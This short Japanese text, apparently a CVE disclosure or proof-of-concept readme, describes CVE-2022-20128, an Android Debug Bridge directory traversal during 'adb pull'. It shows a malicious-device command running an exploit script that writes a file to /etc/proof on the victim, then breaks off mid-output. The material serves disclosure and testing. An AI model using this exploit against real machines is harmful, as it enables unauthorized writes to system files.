CVE-2022-20128

CVE-2022-20128 Android Debug Bridge adb は、悪意のある、または不正な adb デーモンが adb pull 操作中にディレクトリトラバーサル攻撃を仕掛けられる脆弱性がありました。 悪意のあるデバイス: ./adbdirtrav.py -lp 5111 --content "hello world" --destination-path /etc/proof 被害者: root@eedd4cb8b202:/tmp/platform-tools cat /etc/proof cat: /etc/proof: No such file or...